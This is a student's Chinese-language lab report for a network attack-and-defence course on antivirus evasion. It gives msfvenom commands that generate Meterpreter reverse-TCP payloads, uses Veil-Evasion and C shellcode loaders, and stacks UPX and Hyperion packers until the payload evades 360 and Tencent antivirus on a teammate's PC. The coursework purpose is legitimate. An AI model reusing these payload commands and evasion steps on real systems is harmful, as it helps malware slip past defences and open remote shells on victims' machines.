20192420 任文朗 2021-2022-2 《网络与系统攻防技术》实验三实验报告

实验三 免杀原理与实践


一、实践内容

1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  · 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  · veil,加壳工具
  · 使用C + shellcode编程

2.通过组合应用各种技术实现恶意代码免杀
  · 如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实践目的

2.1 实践目的

· 掌握免杀原理与技术

2.2 基础问题回答

1.杀软是如何检测出恶意代码的?
 答:杀软检测恶意代码有三种方法:
      1.基于特征码(可以唯一标识恶意代码)的检测
       · 将扫描信息与病毒数据库(即所谓的“病毒特征库)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染

      2.启发式恶意软件检测(模糊检测)
       · 如果一个软件它看起来像病毒或者行为像病毒,那就把它认为是病毒

      3.基于行为的恶意软件检测
       · 启发式的一种,针对软件的行为进行监控,是指通用的、多特征的、非精确的扫描

      检测方法优缺点对比:
	1.基于特征码检测
	  · 优点:精确地识别恶意代码。
	  · 缺点:滞后性。不能检测0-day恶意软件,可能会对造成一些危害。0-day恶意软件是还未被发现的漏洞,它可以进行任何攻击行为。

	2.启发式恶意软件检测
	  · 优点:可以检测特征码无法检测的0-day恶意软件,具有一定通用性
	  · 缺点:与特征码检测比起来,不够精确,由于实时监控系统行为,开销较大

	3.基于行为的检测
	  · 优点:可以对特定行为的恶意代码进行检测
	  · 缺点:不够精确

2.免杀是做什么?
  答:一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等各种方式“反-反病毒”,让杀软无法检测出来恶意软件

3.免杀的基本方法有哪些?
  答:基本方法有两大类:
	1.改变特征码
         · 对shellcode编码
         · 加壳
         · 基于payload重新编译生成可执行文件

	2.改变行为
         · 通讯方式
            尽量使用反弹式连接
            使用隧道技术
            加密通讯数据

         · 操作模式
            基于内存操作
            减少对系统的修改
            加入混淆作用的正常功能代码

2.3 实验所涉及的知识点

1.msf编码器

· msfvenom是一个payload生成器和编码器
· -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
· -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
· -e 使用的编码器,用于对shellcode变形,为了免杀。
· -i 编码器的迭代次数。如上即使用该编码器编码5次。
· -b badchar是payload中需要去除的字符。
· LHOST 是反弹回连的IP
· LPORT 是回连的端口
· -f 生成文件的类型
· > 输出到哪个文件

2.压缩壳
· 减少应用文件的体积

3.加密壳
· 版权保护,反跟踪
· 如果AV无法识别加密的内容,自然也就无法通过特征码这类方法判断恶意代码

三、实践过程

3.1 任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

步骤一 利用工具对实验二中生成的后门程序进行检测
    · 通过使用VirusTotal或者Virscan等工具进行扫描,在VirusTotal工具中的扫描结果:69款杀毒软件有53款能够检测出此后门程序;在Virscan工具中的扫描结果:51款杀毒软件有18款能够检测出此后门程序。如果不对后门程序进行处理,可见大多数杀毒软件都能将其检测出来检测结果如下图所示

步骤二 正确使用msf编码器,生成exe文件
     · 输入指令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.101 LPORT=2420 -f exe > 20192420_msf.exe 使用msf编码器生成exe文件

     · 我们对生成的exe文件放入VirusTotal工具中进行检测,检测结果:70款杀毒软件有54款能够检测出此文件

步骤三 进行多次编码,再次生成新的exe文件
     · 输入指令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' LHOST=192.168.56.101 LPORT=2420 -f exe > 20192420_msf1.exe ,通过迭代15次的方式来生成新的exe文件
     · 命令分析:-i,迭代次数,这里我们选择迭代15次

     · 我们再次使用VirusTotal工具进行检测,检测结果:70款杀毒软件有55款能够检测出此文件(比之前编码一次还多出一个)。可见,迭代的方法已经无法避免被检测出来。这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀

步骤四 利用msf编码器生成其他类型的文件(如jar)
     · 输入指令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2420 x > 20192420_msf2.jar ,使用msf编码器生成jar文件

     · 使用VirusTotal工具进行检测,检测结果:60款软件中有32款能够检测出此文件

     · 输入指令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2420 x> 20192420_msf3.php ,使用msf编码器生成php文件

     · 使用VirusTotal工具进行检测,检测结果:57款软件中有21款能够检测出此文件

步骤五 安装veil加壳工具
     · 安装准备工作,输入以下命令
	sudo apt-get -y install git
	sudo apt-get install libncurses5* 
	sudo apt-get install libavutil55* 
	sudo apt-get install gcc-mingw-w64* 
	sudo apt-get install wine32 
	sudo apt-get update
	
     · 输入命令sudo apt-get install veil-evasion和veil进行安装

     · 安装成功效果如下图所示

步骤六 使用veil-evasion生成后门程序
     · 输入命令 use evasion 进入Evil-Evasion

     · 输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

     · 输入命令 set LHOST 192.168.56.101 设置反弹连接IP
     · 输入命令 set LPORT 2420 设置端口
     · 输入命令 options 查看配置

     · 输入命令 generate 生成文件,接着输入文件名为 veil_20192420

步骤七 利用VirusTotal检测veil-evasion生成的后门程序
    · 检测结果:69款软件中有37款能够检测出此文件

步骤八 使用C+shellcode编程
     · 输入命令生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2420 -f c 生成用C语言编写的shellcode

     · 输入命令 vi 20192420_shellcode.c 新建文件,输入上图的代码
     · 输入命令 i686-w64-mingw32-g++ 20192420_shellcode.c -o 20192420rwl_shellcode.exe 编译.c文件为可执行文件

步骤九 利用VirusTotal检测C+shellcode编程方法生成的后门程序
    · 检测结果:70款软件中有34款能够检测出此文件

步骤十 使用压缩壳技术
     · 输入命令 upx 20192420rwl_shellcode.exe -o 20192420rwl_shellcode1.exe 对原先的 20192420rwl_shellcode.exe 文件压缩加壳,重新生成文件

     · 使用VirusTotals检测

步骤十一 使用加密壳技术
       · 首先将 20192420rwl_shellcode.exe 文件拷贝到 /usr/share/windows-resources/hyperion 中

       · 在该目录下输入命令 wine hyperion.exe -v 20192420rwl_shellcode1.exe 20192420rwl_shellcode2.exe

       · 使用VirusTotals检测

       · 将该文件传入主机,立即就被杀软抓住(这是因为加密会导致熵过大,也就是信息过于密集,很容易被AV识别)

3.2 任务二 通过组合应用各种技术实现恶意代码免杀

步骤一 利用msf生成一段shellcode代码,生成.c文件将其写入生成可执行文件

步骤二 加压缩壳

步骤三 套加密壳

步骤四 再加压缩壳

步骤五 放入杀软检测(360安全卫士13)
     · 杀软没有发现该文件

3.3 任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

步骤一 记录相应信息
     · 合作组员:20192406梁健 
     · 电脑版本:Windows 10(已下载shellcode_lanucher)
     · 杀软名称:腾讯管家

步骤二 生成raw文件
     · 输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=本机ip lport=2420 -f raw -o 20192420.raw 

步骤三 在对方电脑上输入 shellcode_launcher.exe -i 20192420.raw 运行生成的文件

步骤四 利用杀软在对方电脑的当前目录进行检测
     · 杀软没有发现该文件

    步骤五 利用该文件进行反弹连接,获取组员电脑的权限
         · 通过此后门文件可以成功实现反弹连接

四、问题及解决方案

4.1 问题一

描述:安装wine32或者veil-evasion时出现安装失败的问题

解决方案:输入以下命令
	1 mkdir -p ~/.cache/wine
	2 cd ~/.cache/wine 
	3 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
	4 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
	
· 如果出现如图所示的情况(进程锁问题)
[进程锁问题](https://blog.csdn.net/weixin_44034883/article/details/119251270)

4.2 问题二

描述:在进行与组员反弹回连操作时无法连接

解决方案:没有将网卡设置成为桥接模式,连接另外一台主机时没有设置好桥接IP地址,所以导致反弹连接失败

4.3 问题三

描述:在使用加密壳技术时没有成功

解决方案:加密壳需要用到hyperion这个工具,但是下载老师的压缩包后发现并不能成功,原因是kali里自带了hyperion功能,找起来有点费力罢了

4.3 问题四

描述:利用压缩壳生成的文件能够实现反弹回连,但是加密壳生成的文件并不能够实现

解决方案:该问题暂无解决方案,猜测可能是加密壳的熵值过大导致解密该文件时比较费力

五、学习感悟及思考

这是本学期网络攻防课的第三次实验,本次实验的目的是实现文件的免杀。在这次实验中我收获最多的莫过于学到了很多跟免杀原理相关的知识以及一些简单的构造免杀文件的方法,比如加壳,利用shellcode编程等。在这次实验中也遇到了很多问题,比如没有考虑到kali是64位,直接去安装2位的wine32,还有就是没有正确设置桥接模式,用正确的IP地址去连接合作组员的电脑。但是在老师和同学的帮助下我还是一一解决了这些问题,还在免杀实践上实现了自我的进步。通过这次实验,我也意识到了学好网络攻防课的核心在于实践,虽然老师课上讲的东西很多,但是通过自己的实践将这些知识灵活运用,却是对知识的最好把握,相信在之后的实验课中能够学到更多的东西,提升自己的能力。

通过这次实验证明,开启杀软并不能百分之百检测出电脑中的恶意软件。所以我们作为用户,应当养成良好的电脑使用习惯,提高警惕,不要乱点陌生链接中的文件进行下载,除此之外,我们也要选择一款效果较好的杀软抵御恶意软件对主机的攻击

六、参考资料

· MAL_免杀原理与实践 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/
posted @ 2022-04-09 17:47  任文朗  阅读(61)  评论(0编辑  收藏  举报